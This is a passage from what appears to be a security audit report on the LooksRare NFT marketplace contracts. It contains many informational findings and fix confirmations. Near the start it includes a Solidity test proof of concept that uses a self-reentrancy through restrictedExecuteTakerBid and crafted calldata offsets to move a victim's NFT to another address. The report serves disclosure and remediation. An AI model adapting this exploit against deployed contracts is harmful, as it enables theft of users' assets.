        itemIds[18] = 0x01e0;
        itemIds[19] = 0x0200;
    }
}

contract ItemSelectorStrategy is IBaseStrategy {
    address private owner;

    uint256 private itemId;
    uint256 private amount;

    constructor() {
        owner = msg.sender;
    }

    function set(
        uint256 _itemId,
        uint256 _amount
    ) external {
        if(msg.sender != owner) revert();

        itemId = _itemId;
        amount = _amount;
    }

    function isLooksRareV2Strategy() external pure override returns (bool) {
        return true;
    }

    function execute(
        OrderStructs.TakerBid calldata /* takerBid */,
        OrderStructs.MakerAsk calldata /* makerAsk */
    )
        external
        view
        returns (
            uint256 price,
            uint256[] memory itemIds,
            uint256[] memory amounts,
            bool isNonceInvalidated
        )
    {
        itemIds = new uint256[](1);
        itemIds[0] = itemId;

        amounts = new uint256[](1);
        amounts[0] = amount;
    }

}

contract AttackTest is ProtocolBase {
    PayloadStrategy private payloadStrategy;
```

```
ItemSelectorStrategy private itemSelectorStrategy;
MockERC20 private mockERC20;

// // can be an arbitrary address
uint256 private signingOwnerPK = 42;
address private signingOwner = vm.addr(signingOwnerPK);

// this address will define an offset in the calldata
// and can be changed up to a certain upperbound by
// stuffing calldata with 0s.
address private specialUser1 = address(0x180);

// NFT token recipient of the attack can also be changed
// up to a certain upper bound by stuffing the calldata with 0s
address private specialUser2 = address(0x3a0);

// can be an arbitrary address
address private victimUser = address(505);

function setUp() public override {
    super.setUp();

    vm.startPrank(_owner);
    {
        looksRareProtocol.initiateOwnershipTransfer(signingOwner);
    }
    vm.stopPrank();

    vm.startPrank(signingOwner);
    {
        looksRareProtocol.confirmOwnershipTransfer();

        mockERC20 = new MockERC20();
        looksRareProtocol.updateCurrencyWhitelistStatus(address(mockERC20), true);

        looksRareProtocol.updateCreatorFeeManager(address(0));
        mockERC20.mint(victimUser, 1000);

        mockERC721.mint(victimUser, 1);

        // This particular strategy is not a requirement of the exploit.
        // it just makes it easier
        payloadStrategy = new PayloadStrategy();
        looksRareProtocol.addStrategy(
            0,
            0,
            0,
            PayloadStrategy.execute.selector,
            true,
            address(payloadStrategy)
        );

        itemSelectorStrategy = new ItemSelectorStrategy();
        looksRareProtocol.addStrategy(
            0,
            0,
            0,
            ItemSelectorStrategy.execute.selector,
            false,
            address(itemSelectorStrategy)
        );
    }
```

```
        vm.stopPrank();

        _setUpUser(victimUser);
    }

    function testAttack() public {
        vm.startPrank(signingOwner);
        looksRareProtocol.addTransferManagerForAssetType(
            2,
            address(looksRareProtocol),
            looksRareProtocol.restrictedExecuteTakerBid.selector
        );

        payloadStrategy.set(
            address(mockERC721),
            address(mockERC20),
            0,
            victimUser,
            2 // itemSelectorStrategy ID
        );

        itemSelectorStrategy.set(1, 1);

        OrderStructs.MakerBid memory makerBid =
        _createSingleItemMakerBidOrder({
            bidNonce: 0,
            subsetNonce: 0,
            strategyId: 1,  // payloadStrategy
            assetType: 2, // LooksRareProtocol itself
            orderNonce: 0,
            collection: address(0x80), // calldata offset
            currency: address(mockERC20),
            signer: signingOwner,
            maxPrice: 0,
            itemId: 1
        });

        bytes memory signature = _signMakerBid(makerBid, signingOwnerPK);

        OrderStructs.TakerAsk memory takerAsk;

        vm.stopPrank();

        vm.prank(specialUser1);
        looksRareProtocol.executeTakerAsk(
            takerAsk,
            makerBid,
            signature,
            _EMPTY_MERKLE_TREE,
            _EMPTY_AFFILIATE
        );

        assertEq(mockERC721.balanceOf(victimUser), 0);
        assertEq(mockERC721.ownerOf(1), specialUser2);
    }
}
```

Recommendation: It is important to pay extra attention when modifying the requirements for adding new transfer managers (or even strategies). If special care is not taken, a self-reentrancy for the protocol is possible that might affect the users' tokens on a trusted transfer manager (does not even need to be related to the new transfer manager or strategy added).

Also to avoid any future pitfall, it is recommended to not use the `restrictedExecuteTakerBid` and remove it from the codebase. `restrictedExecuteTakerBid` is only used when executing multiple taker bids for non-atomic transactions. One can instead add an extra boolean parameter to `_executeTakerBid` such that if `true`, `_executeTakerBid` would revert on errors or if `false` it would turn into a no-op that would return a `0` amount. Or we can have two different implementations of `_executeTakerBid` with almost the same logic. This would avoid the external calls from the protocol to itself through `restrictedExecuteTakerBid`.

LooksRare: Acknowledged.

Spearbit: Acknowledged.

5.5.16 `viewCreatorFeeInfo` can be simplified

Severity: Informational

Context:

- CreatorFeeManagerWithRebates.sol#L50-L69
- CreatorFeeManagerWithRoyalties.sol#L55-L76

Description: `viewCreatorFeeInfo` includes a low-level `staticcall` to `collection`'s `royaltyInfo` endpoint and later its return status is compared and the return data is decoded.

Recommendation: We can simplify `viewCreatorFeeInfo` and avoid the low-level call by using a `try/catch` block

- `CreatorFeeManagerWithRoyalties`:

```
for (uint256 i; i < length; ) {
    try IERC2981(collection).royaltyInfo(itemIds[i], price) returns (
        address newCreator,
        uint256 newCreatorFee
    ) {
        if (i == 0) {
            creator = newCreator;
            creatorFee = newCreatorFee;

            unchecked {
                ++i;
            }
            continue;
        }

        if (newCreator != creator || newCreatorFee != creatorFee) {
            revert BundleEIP2981NotAllowed(collection);
        }
    } catch {}

    unchecked {
        ++i;
    }
}
```

- CreatorFeeManagerWithRebates:

```
for (uint256 i; i < length; ) {
    try IERC2981(collection).royaltyInfo(itemIds[i], price) returns (
        address newCreator,
        uint256 /* newCreatorFee */
    ) {
        if (i == 0) {
            if (newCreator == address(0)) break;
            creator = newCreator;

            unchecked {
                ++i;
            }
            continue;
        }

        if (newCreator != creator) {
            revert BundleEIP2981NotAllowed(collection);
        }
    } catch {}

    unchecked {
        ++i;
    }
}
```

As a bonus we get some gas optimizations:

```
testTakerBidERC721WithRoyaltiesFromRegistry(uint256) (gas: -40 (-0.006%))
testCreatorRebatesArePaidForERC2981() (gas: -1056 (-0.162%))
testCreatorRoyaltiesGetPaidForERC2981() (gas: -1076 (-0.164%))
testCreatorRoyaltiesRevertForEIP2981WithBundlesIfInfoDiffer() (gas: -4188 (-0.424%))
testCreatorRoyaltiesGetPaidForERC2981WithBundles() (gas: -5118 (-0.474%))
testCreatorRoyaltiesRevertForEIP2981WithBundlesIfInfoDiffer() (gas: -4621 (-0.500%))
testCreatorRoyaltiesGetPaidForERC2981WithBundles() (gas: -5202 (-0.520%))
Overall gas change: -21301 (-2.250%)
```

Note: For the above gas optimization `testDutchAuction` is adjusted to:

```
- vm.assume(elapsedTime <= 3_600);
+ vm.assume(elapsedTime < 3_600);
```

Since `_checkValidityTimestamps` returns the `TOO_LATE_TO_EXECUTE_ORDER` error code for the edge case of `elapsedTime == 3600`.

LooksRare: Fixed in PR 341.

Spearbit: Verified.

5.5.17 `_verifyMerkleProofOrOrderHash` can be simplified

Severity: Informational

Context:

- LooksRareProtocol.sol#L567

Description: `_verifyMerkleProofOrOrderHash` includes a `if/else` block that calls into `_computeDigestAndVerify` with almost the same inputs (only the hash is different).

Recommendation: We can simplify `_verifyMerkleProofOrOrderHash`

```
function _verifyMerkleProofOrOrderHash(
    OrderStructs.MerkleTree calldata merkleTree,
    bytes32 orderHash,
    bytes calldata signature,
    address signer
) private view {
    if (merkleTree.proof.length != 0) {
        if (!MerkleProofCalldata.verifyCalldata(merkleTree.proof, merkleTree.root, orderHash)) {
            revert WrongMerkleProof();
        }
        orderHash = merkleTree.hash();
    }

    _computeDigestAndVerify(orderHash, signature, signer);
}
```

```
testTakerBidMultipleOrdersSignedERC721() (gas: -3 (-0.000%))
testTakerAskMultipleOrdersSignedERC721() (gas: -3 (-0.000%))
testTakerAskERC721WithRoyaltiesFromRegistry(uint256) (gas: -40 (-0.006%))
Overall gas change: -46 (-0.006%)
```

LooksRare: Fixed in PR 317.

Spearbit: Verified.

5.5.18 `isOperatorValidForTransfer` can be modified to refactor more of the logic

Severity: Informational

Context:

- TransferManager.sol#L59
- TransferManager.sol#L91
- TransferManager.sol#L133
- TransferManager.sol#L258

Description: `isOperatorValidForTransfer` is only used to `revert` if necessary. The logic around the `revert` decision on all call sites.

Recommendation: It would be best to replace all the occurrences of the following;

```
if (!isOperatorValidForTransfer(from, msg.sender)) {
    revert TransferCallerInvalid();
}
```

with:

```
_validateCallerForTransfer(from);
```

where `_validateCallerForTransfer` is the renamed/modified `isOperatorValidForTransfer`:

```
function _validateCallerForTransfer(address user) internal view {
    if (
       isOperatorWhitelisted[msg.sender] &&
       hasUserApprovedOperator[user][msg.sender]
    ) {
       return;
    }

    revert TransferCallerInvalid();
}
```

LooksRare: Fixed in PR 316.

Spearbit: Verified.

5.5.19 Keep maximum allowed number of characters per line to 120.

Severity: Informational

Context:

- .solhint.json

Description: There are a few long lines in the code base.

```
contracts/executionStrategies/StrategyCollectionOffer.sol
   21:2  error  Line length must be no more than 120 but current length is 127  max-line-length
   27:2  error  Line length must be no more than 120 but current length is 163  max-line-length
   29:2  error  Line length must be no more than 120 but current length is 121  max-line-length
   30:2  error  Line length must be no more than 120 but current length is 121  max-line-length
   67:2  error  Line length must be no more than 120 but current length is 163  max-line-length
   69:2  error  Line length must be no more than 120 but current length is 121  max-line-length
   70:2  error  Line length must be no more than 120 but current length is 121  max-line-length
  118:2  error  Line length must be no more than 120 but current length is 123  max-line-length
  119:2  error  Line length must be no more than 120 but current length is 121  max-line-length

contracts/executionStrategies/StrategyDutchAuction.sol
  20:2   error    Line length must be no more than 120 but current length is 163   max-line-length
  22:2   error    Line length must be no more than 120 but current length is 121   max-line-length
  23:2   error    Line length must be no more than 120 but current length is 121   max-line-length
  26:5   warning  Function has cyclomatic complexity 9 but allowed no more than 7  code-complexity
  70:31  warning  Avoid to make time-based decisions in your business logic        not-rely-on-time
  85:2   error    Line length must be no more than 120 but current length is 123   max-line-length
  86:2   error    Line length must be no more than 120 but current length is 121   max-line-length
  92:5   warning  Function has cyclomatic complexity 8 but allowed no more than 7  code-complexity

contracts/executionStrategies/StrategyItemIdsRange.sol
   15:2  error    Line length must be no more than 120 but current length is 142    max-line-length
   20:2  error    Line length must be no more than 120 but current length is 163    max-line-length
   21:2  error    Line length must be no more than 120 but current length is 163    max-line-length
   22:2  error    Line length must be no more than 120 but current length is 121    max-line-length
   23:2  error    Line length must be no more than 120 but current length is 121    max-line-length
   25:5  warning  Function has cyclomatic complexity 12 but allowed no more than 7  code-complexity
  100:2  error    Line length must be no more than 120 but current length is 123    max-line-length
  101:2  error    Line length must be no more than 120 but current length is 121    max-line-length

contracts/helpers/OrderValidatorV2A.sol
   40:2   error    Line length must be no more than 120 but current length is 121
   ↪                      max-line-length
   53:2   error    Line length must be no more than 120 but current length is 121
   ↪                      max-line-length
```

```
  225:2   error    Line length must be no more than 120 but current length is 127
  ↪                    max-line-length
  279:2   error    Line length must be no more than 120 but current length is 127
  ↪                    max-line-length
  498:24  warning  Avoid to make time-based decisions in your business logic
  ↪                    not-rely-on-time
  501:26  warning  Avoid to make time-based decisions in your business logic
  ↪                    not-rely-on-time
  511:2   error    Line length must be no more than 120 but current length is 143
  ↪                    max-line-length
  593:5   warning  Function has cyclomatic complexity 9 but allowed no more than 7
  ↪                    code-complexity
  662:5   warning  Function has cyclomatic complexity 9 but allowed no more than 7
  ↪                    code-complexity
  758:5   warning  Function order is incorrect, internal view function can not go after internal pure
  ↪  function (line 727)  ordering
  830:5   warning  Function has cyclomatic complexity 10 but allowed no more than 7
  ↪                    code-complexity
  843:17  warning  Avoid to use inline assembly. It is acceptable only in rare cases
  ↪                    no-inline-assembly
  850:17  warning  Avoid to use inline assembly. It is acceptable only in rare cases
  ↪                    no-inline-assembly
  906:5   warning  Function has cyclomatic complexity 8 but allowed no more than 7
  ↪                    code-complexity
  963:5   warning  Function has cyclomatic complexity 8 but allowed no more than 7
  ↪                    code-complexity

contracts/helpers/ValidationCodeConstants.sol
  17:2  error  Line length must be no more than 120 but current length is 129  max-line-length
  18:2  error  Line length must be no more than 120 but current length is 121  max-line-length

contracts/interfaces/ILooksRareProtocol.sol
  160:2  error  Line length must be no more than 120 but current length is 122  max-line-length

contracts/libraries/OrderStructs.sol
   12:2  error    Line length must be no more than 120 but current length is 292
   ↪                   max-line-length
   18:2  error    Line length must be no more than 120 but current length is 292
   ↪                   max-line-length
   23:2  error    Line length must be no more than 120 but current length is 127
   ↪                   max-line-length
   49:5  warning  Function order is incorrect, struct definition can not go after state variable
   ↪  declaration (line 26)  ordering
   81:2  error    Line length must be no more than 120 but current length is 128
   ↪                   max-line-length
  144:2  error    Line length must be no more than 120 but current length is 131
  ↪                  max-line-length

 49 problems (34 errors, 15 warnings)
```

Recommendation: For better readability, it would be best to keep the maximum line widths to `120`. The `.solhint.json` file can be updated to

```
@@ -1,9 +1,12 @@
 {
   "extends": "solhint:recommended",
   "rules": {
+    "code-complexity": ["warn",7],
     "compiler-version": ["error", "^0.8.17"],
-    "func-visibility": [{ "ignoreConstructors": true }],
+    "func-visibility": ["warn", { "ignoreConstructors": true }],
     "func-name-mixedcase": "off",
+    "max-line-length": ["error", 120],
+    "ordering": "warn",
     "reason-string": "off",
     "var-name-mixedcase": "off"
   }
```

The above also includes adding the rules regarding `code-complexity` and `ordering`.

LooksRare: Fixed in PR 315 and PR 337.

Spearbit: Verified.

5.5.20 avoid transferring in `_transferFungibleTokens` when `sender` and `recipient` are equal

Severity: Informational

Context:

- LooksRareProtocol.sol#L466
- LooksRareProtocol.sol#L445-L447
- LooksRareProtocol.sol#L452
- LooksRareProtocol.sol#L510
- LooksRareProtocol.sol#L518

Description: Currently, there is no check in `_transferFungibleTokens` to avoid transferring funds from `sender` to `recipient` when they are equal. There is only one check outside of `_transferFungibleTokens` when one wants to transfer to an affiliate. But if the `bidUser` is the creator, or the ask recipient or the `protocolFeeRecipient`, the check is missing.

Recommendation: It would be best to add a check in `_transferFungibleTokens` to avoid transferring funds when `sender` and `recipient` are equal:

```
function _transferFungibleTokens(
  address currency,
  address sender,
  address recipient,
  uint256 amount
) internal {
  if (sender == recipient) return;
  ...
}
```

and the check for the affiliate can be removed

```
// If currency is ETH, funds are returned to sender at the end of the execution.
// If currency is ERC20, funds are not transferred from bidder to bidder (since it uses transferFrom).
_transferFungibleTokens(currency, bidUser, affiliate, totalAffiliateFeeAmount);
```

LooksRare: Although this is valid, these scenarios are not meant to happen unlike the affiliate one where it may come from future business requirements (e.g. for a market maker?)

Spearbit: Acknowledged. We would advise you to monitor calls where the `bidUser` is the creator, or the ask recipient or the `protocolFeeRecipient`.

5.5.21 Keep the order of parameters consistent in `updateStrategy`

Severity: Informational

Context:

- StrategyManager.sol#L104-L123

Description: In `updateStrategy`, `isActive` is set first when updating storage, and it's the second parameter when supplied to the `StrategyUpdated` event. But it is the last parameter supplied to `updateStrategy`.

Recommendation: For consistency, it would be best to make `isActive` the second parameter of `updateStrategy`.

LooksRare: Fixed in PR 313.

Spearbit: Verified.

5.5.22 `_transferFungibleTokens` does not check whether the `amount` is `0`

Severity: Informational

Context:

- LooksRareProtocol.sol#L466
- LooksRareProtocol.sol#L446
- LooksRareProtocol.sol#L452
- LooksRareProtocol.sol#L510
- LooksRareProtocol.sol#L518

Description: `_transferFungibleTokens` does not check whether `amount` is `0` to skip transferring to `recipient`. For the ask recipient and creator amounts the check is performed just before calling this function. But the check is missing for the affiliate and protocol fees.

Recommendation: It is recommended to include the check against `0` for the `amount` in `_transferFungibleTokens` and the checks for ask recipient and creator amounts can be removed as they would be checked in the function itself.

```
function _transferFungibleTokens(
  address currency,
  address sender,
  address recipient,
  uint256 amount
) internal {
  if (amount == 0) return;
  ...
}
```

```
function _transferToAskRecipientAndCreatorIfAny(
  address[3] memory recipients,
  uint256[3] memory fees,
  address currency,
  address bidUser
) private {
  // @dev There is no check for address(0), if the creator recipient is address(0), the fee is set to 0
   _transferFungibleTokens(currency, bidUser, recipients[1], fees[1]);

  // @dev There is no check for address(0) since the ask recipient can never be address(0)
  // If ask recipient is the maker --> the signer cannot be the null address
  // If ask is the taker --> either it is the sender address or if the recipient (in TakerAsk) is set
↪   to address(0), it is adjusted to
  // the original taker address
   _transferFungibleTokens(currency, bidUser, recipients[2], fees[2]);
}
```

LooksRare: `_payProtocolFeeAndAffiliateFee` has been modified to only transfer funds to the affiliate and the protocol recipient when their corresponding amounts are non-zero in PR 334.

Spearbit: Verified.

5.5.23 `StrategyItemIdsRange.executeStrategyWithTakerAsk` - Maker's bid amount might be entirely fulfilled by a single `ERC1155` item

Severity: Informational

Context: StrategyItemIdsRange.sol#L75

Description: `StrategyItemIdsRange` allows a buyer to specify a range of potential item ids (both `ERC721` and `ERC1155`) and a desired amount, then a seller can match the buyer's request by picking a subset of items from the provided range so that the desired amount of items are eventually fulfilled. a taker might pick a single `ERC1155` item id from the range and fulfill the entire order with multiple instances of that same item.

Recommendation: After a short discussion with the client, we agreed that the described scenario is accepted as part of the normal behavior in the system. However, we strongly recommend informing the users about this potential edge case at the least.

LooksRare: Acknowledged.

Spearbit: Acknowledged.

5.5.24 Define named constants

Severity: Informational

Context:

- ExecutionManager.sol#L289
- ExecutionManager.sol#L290
- OrderValidatorV2A.sol#L845
- OrderValidatorV2A.sol#L846
- OrderValidatorV2A.sol#L852
- OrderValidatorV2A.sol#L853
- OrderValidatorV2A.sol#L859
- InheritedStrategy.sol#L100
- InheritedStrategy.sol#L101

- MerkleProofCalldata.sol#L40
- MerkleProofCalldata.sol#L41
- MerkleProofCalldata.sol#L42
- MerkleProofMemory.sol#L40
- MerkleProofMemory.sol#L41
- MerkleProofMemory.sol#L42
- TransferSelectorNFT.sol#L30
- TransferSelectorNFT.sol#L31
- LooksRareProtocol.sol#L528-L530
- StrategyUSDDynamicAsk.sol#L107

`assetType`:

- TransferManager.sol#L145
- TransferManager.sol#L152
- TransferSelectorNFT.sol#L30
- TransferSelectorNFT.sol#L31

`10_000`

- AffiliateManager.sol#L48
- CreatorFeeManagerWithRebates.sol#L75
- ExecutionManager.sol#L148
- ExecutionManager.sol#L155
- ExecutionManager.sol#L234
- ExecutionManager.sol#L241
- ExecutionManager.sol#L273
- StrategyFloorFromChainlink.sol#L134
- StrategyFloorFromChainlink.sol#L245
- StrategyFloorFromChainlink.sol#L249
- StrategyFloorFromChainlink.sol#L341
- OrderValidatorV2A.sol#L797
- LooksRareProtocol.sol#L439

Description:

- ExecutionManager.sol#L289 : `0x7476320f` is `cast sig "OutsideOfTimeRange()"`
- TransferSelectorNFT.sol#L30 : `0xa7bc96d3` is `cast sig "transferItemsERC721(address,address,address,uint256[]`
  and can be replaced by `TransferManager.transferItemsERC721.selector`
- TransferSelectorNFT.sol#L31 : `0xa0a406c6` is `cast sig "transferItemsERC1155(address,address,address,uint256[]`
  and can be replaced by `TransferManager.transferItemsERC1155.selector`.

Recommendation: Replace used literals with named constants.

LooksRare: Fixed in PR 300 and PR 319.

Spearbit: Verified.

5.5.25 `price` validation in `executeStrategyWithTakerAsk`, `executeCollectionStrategyWithTakerAsk` and `executeCollectionStrategyWithTakerAskWithProof` can be relaxed

Severity: Informational

Context:

- StrategyCollectionOffer.sol#L32
- StrategyCollectionOffer.sol#L73
- StrategyItemIdsRange.sol#L88-L90

Description: In the above context, a maker is bidding a maximum price p_{max} and a taker is asking a minimum price p_{min}, the strategy should calculate a price p in the range $[p_{min}, p_{max}]$ and so we would need to have $p_{min} \leq p_{max}$. The above strategies pick the execution price to be p_{max} (the maximum price bid by the maker), and since the taker is the caller to the protocol we would only need to require $p_{min} \leq p_{max}$. But the current requirement is $p_{min} = p_{max}$.

```
if ( ... || makerBid.maxPrice != takerAsk.minPrice) {
    revert OrderInvalid();
}
```

Recommendation: Since the taker is the caller, we can relax the requirement for the minimum ask price to be $p_{min} \leq p_{max} = p$, which means the `if` statements can be modified to

```
if ( ... || makerBid.maxPrice < takerAsk.minPrice) {
    revert OrderInvalid();
}
```

The validation does not affect the outcome which is the taker would receive the maximum bid price regardless of what minimum ask price it provides (it just needs to not be higher).

LooksRare: Acknowledged. We think it is best to keep as it is. The minPrice/maxPrice should be used if the maker price fluctuates over time.

Spearbit: The recommendation does not ask for the removal of those parameters, but for modifying the if statement. Also, the price comparisons are removed completely from these strategies due to the change to the taker structs in PR 383.

5.5.26 Change occurances of `whitelist` to `allowlist` and `blacklist` to `blocklist`

Severity: Informational

Context:

- CurrencyManager.sol#
- OrderValidatorV2A.sol
- ValidationCodeConstants.sol#L8
- ICurrencyManager.sol
- ITransferManager.sol
- LooksRareProtocol.sol

Description: In the codebase, `whitelist` (`blacklist`) is used to represent entities or objects that are allowed (denied) to be used or perform certain tasks. This word is not so accurate/suggestive and also can be offensive.

Recommendation: We can replace all occurrences of `whitelist` with `allowlist` (`blacklist` with `blocklist`) which actually conveys its function more clearly. Also depending on the context `whitelisted` can be replaced by either `added` or `allowed`.

For ref: draft-knodel-terminology-02#section-2.2.

LooksRare: Fixed in PR 395.

Spearbit: Verified.

5.5.27 Add more documentation on expected priceFeed decimals

Severity: Informational

Context: StrategyUSDDynamicAsk.sol#L107 and StrategyFloorFromChainlink.sol#L370

Description: The Chainlink strategies are making the following assumptions

1. All priceFeeds in `StrategyFloorFromChainlink` have a `decimals` value of 18.
2. The priceFeed in `StrategyUSDDynamicAsk` has a decimals value of 8.

Any priceFeed that is added that does not match these assumptions would lead to incorrect calculations.

Recommendation: To make this more clear, and to make it less likely to make a mistake in the future, these assumptions should be documented somewhere in the code. To help further with code clarity, it is also recommended to move the hardcoded `1e8` variable into its own constant variable, e.g.:

```
+ uint256 public constant ETHUSD_PRICEFEED_DECIMALS = 8;
...
- uint256 desiredSalePriceInETH = (desiredSalePriceInUSD * 1e8) / ethPriceInUSD;
+ uint256 desiredSalePriceInETH = (desiredSalePriceInUSD * 10 ** ETHUSD_PRICEFEED_DECIMALS) /
↪  ethPriceInUSD;
```

LooksRare: Fixed in PR 307.

Spearbit: Verified.

5.5.28 Code duplicates

Severity: Informational

Description: * In some places, Chainlink staleness is checked using `block.timestamp - updatedAt > maxLatency`, and in other places it is checked using `block.timestamp > maxLatency + updatedAt`. Consider refactoring this code into a helper function. Otherwise, it would be better to use only one version of the two code snippets across the protocol.

- The validation check to match `assetType` with the actual amount of items being transferred is duplicated among the different strategies instead of being implemented at a higher level once, such as in a common function or class that can be reused among the different strategies.
- `_executeStrategyForTakerAsk` and `_executeStrategyForTakerBid` almost share the same code.
- `TakerBid`, `TakerAsk` can be merged into a single struct.
- `MakerBid`, `MakerAsk` can be merged into a single struct.

Recommendation: It is advisable to avoid duplicating code by having a single, centralized version that can be easily maintained and updated. This also helps ensure consistency in validation and reduces the likelihood of bugs or errors.

LooksRare:

- Point 1 was fixed in PR 310.
- Points 2 and 5 were fixed in PR 305
- Point 3 was fixed in PR 430
- Point 4 was fixed in PR 383

Spearbit: Verified.

5.5.29 Low level calls are not recommended as they lack type safety and won't revert for calls to EOAs

Severity: Informational

Context: ExecutionManager.sol#L124 ExecutionManager.sol#L210 TransferSelectorNFT.sol#L89

Description: Low-level calls are not recommended for interaction between different smart contracts in modern versions of the compiler, mainly because they lack type safety, return data size checks, and won't revert for calls to Externally Owned Accounts.

Recommendation: Make sure to use Interfaces to facilitate external calls when possible, otherwise, you should consider adding a check to validate that an address is not an EOA before calling it (the check implemented in StrategyManager.sol#L71-L73 is a good example of how to implement that)

LooksRare: Partially resolved in PR 308 by replacing the low-level call to `transferManager` with a high-level call.

Spearbit: Verified and acknowledged that it is partially resolved as low-level calls are still in use for strategies.

5.5.30 Insufficient input validation of orders (especially on the Taker's side)

Severity: Informational

Description: There is a lack of consistency in the validation of parameters, as some fields of the taker's order are checked against the maker's order while others are not. It is worth noting that we have not identified any significant impact caused by this issue.

- Missing validation of `strategyId`
- Missing validation of `collection`
- Most strategies only validate length mismatches on one side of the order. Also, they don't usually validate that the lengths match *between* both sides. For example, in the DutchAuction strategy, if the `makerAsk` has `itemIds` and `amounts` arrays of length 2 and 2, then it would be perfectly valid for the `takerBid` to use `itemIds` and `amounts` arrays of length 5 and 7, as long as the first two elements of both arrays match what is expected. (FYI: I filed a related issue for the `ItemIdsRange` strategy, which I think is more severe of an issue because the mismatched lengths can actually be *returned* from the function).

Recommendation: Consider adding validation checks also for the parameters mentioned above, mainly for consistency reasons.

LooksRare: Acknowledged.

Spearbit: Acknowledged.

5.5.31 `LooksRareProtocol`'s owner can take maker's tokens for signed orders with unimplemented `strategyId`s

Severity: Informational

Context:

- StrategyManager.sol#L55
- ExecutionManager.sol#L210-L212
- ExecutionManager.sol#L124-L126

Description: If a maker signs an order that uses a `strategyId` that hasn't been added to the protocol yet, the protocol owner can add a malicious strategy afterward such that a taker would be able to provide no fulfillment but take all the offers.

Recommendation: The above should be highlighted for makers. For example, calls to `checkMakerAskOrderValidity` or `checkMakerBidOrderValidity` would return `validationCodes[0] == STRATEGY_NOT_IMPLEMENTED` for a maker which should signal them to not sign the order.

LooksRare: Yes, it will be highlighted. By definition, it is possible to do anything in signatures since these exist purely off chain. A similar finding would exist with asset types as well.

Spearbit: Acknowledged.

5.5.32 Strategies with faulty price feeds can have unwanted consequences

Severity: Informational

Context:

- StrategyUSDDynamicAsk.sol#L92
- StrategyFloorFromChainlink.sol#L370

Description: In LooksRare protocol once a strategy has been added its `implementation` and `selector` cannot be updated. This is a good since users who sign their `MakerBid` or `MakerAsk` can trustlessly examine the strategy `implementation` before including them into their orders. Some strategies might depend on other actors such as price feeds. This is the case for `StrategyUSDDynamicAsk` and `StrategyFloorFromChainlink`.

If for some reason these price feeds do not return the correct prices, these strategies can have a slight deviation from their original intent.

Case `StrategyUSDDynamicAsk`

If the price feed returns a lower price, a taker can bid on an order with that lower price. This scenario is guarded by `MakerAsk`'s minimum price. But the maker would not receive the expected amount if the correct price was reported and was greater than the maker's minimum ask.

Case `StrategyFloorFromChainlink`

For `executeFixedDiscountCollectionOfferStrategyWithTakerAsk` and `executeBasisPointsDiscountCollectionOfferStrategyWithTakerAsk` if the price feeds reports a floor price higher than the maker's maximum bid price, the taker can match with the maximum bid. Thus the maker ends up paying more than the actual floor adjusted by the discount formula.

For `executeFixedPremiumStrategyWithTakerBid` and `executeBasisPointsPremiumStrategyWithTakerBid` if the price feeds report a floor price lower than the maker's minimum ask price, the taker can match with the minimum ask price and pay less than the actual floor price (adjusted by the premium).

Recommendation: The above scenarios regarding the strategies depending on external price feeds would need to be documented/commented for the users.

LooksRare: Acknowledged.

Spearbit: Acknowledged.

5.5.33 The provided `price` to `IERC2981.royaltyInfo` does not match the specifications

Severity: Informational

Context:

- CreatorFeeManagerWithRebates.sol#L52
- CreatorFeeManagerWithRoyalties.sol#L57

Description: In both `CreatorFeeManagerWithRebates` and `CreatorFeeManagerWithRoyalties`, if `royaltyFeeRegistry.royaltyInfo` does not return a non-zero `creator` address, we check whether the collection supports `IERC2981` and if it does, we loop over each `itemId` and call the `collection`'s `royaltyInfo` endpoint. But the input `price` parameters provided to this endpoint do not match the specification of `EIP-2981`:

```
/// @param _salePrice - the sale price of the NFT asset specified by _tokenId
```

The `price` provided in `viewCreatorFeeInfo` functions, is the price for the whole batch of `itemIds` and not the individual tokens `itemIds[i]` provided to the `royaltyInfo` endpoint. Even if the return values `(newCreator, newCreatorFee)` would all match, it would not mean that `newCreatorFee` should be used as the royalty for the whole batch. An example is that if the royalty is not percentage-based, but a fixed price.

Recommendation: There isn't a way around the above issue (since given a price for the whole batch, there isn't a unique price distribution that sums up to the given price) unless one adopts a different `EIP`/strategy. In general, there are cases in which we might pay more or less royalty than actually specified. It would be best to comment and document the above issue if the protocol decides to use the current strategies.

LooksRare: Acknowledged but there is (unfortunately) no standard to properly handle bundles.

Spearbit: Acknowledged.

5.5.34 Replace the `abi.encodeWithSelector` with `abi.encodeCall` to ensure type and typo safety

Severity: Informational

Context:

- CreatorFeeManagerWithRebates.sol#L52
- CreatorFeeManagerWithRoyalties.sol#L57
- OrderValidatorV2A.sol#L605
- OrderValidatorV2A.sol#L622
- OrderValidatorV2A.sol#L634
- OrderValidatorV2A.sol#L676
- OrderValidatorV2A.sol#L690
- OrderValidatorV2A.sol#L709
- OrderValidatorV2A.sol#L787
- OrderValidatorV2A.sol#L878

also applies to `lowLevelCallers`

Description: In the context above, `abi.encodeWithSelector` is used to create the call data for a call to an external contract. This function does not guarantee that mismatched types are used for the input parameters.

Recommendation: It would be best to use `abi.encodeCall` to ensure type and typo safety. So the code in this context can be transformed from

```
abi.encodeWithSelector(<interface>.<func_name>.selector, <input_1>, ..., <input_n>)
```

to:

```
abi.encodeCall(<interface>.<func_name>, (<input_1>, ..., <input_n>))
```

The recommendation does not apply to:

- ExecutionManager.sol#L125
- ExecutionManager.sol#L211
- TransferSelectorNFT.sol#L90

LooksRare: Fixed in PR 298.

Spearbit: Verified.

5.5.35 Use the inline `keccak256` with the formatting suggested when defining a named constant for an `EIP-712` type hash

Severity: Informational

Context:

- OrderStructs.sol#L14
- OrderStructs.sol#L20
- OrderStructs.sol#L26

Description: Hardcoded `byte32` `EIP-712` type hashes are defined in the `OrderStructs` library.

Recommendation: Use the compile-time inlined `keccak256` with the formatting below to avoid possible future mistakes

```
// an example without an inner struct field
struct ExampleStruct {
   type1 f1;
   type2 f2;
   ...
   typeN fn;
}

bytes32 internal constant _EXAMPLE_HASH = keccak256(
   "ExampleStruct("
      "type1 f1,"
      "type2 f2,"
      ...
      "typeN fn"
   ")"
);
```

LooksRare: PR 297.

Spearbit: Verified.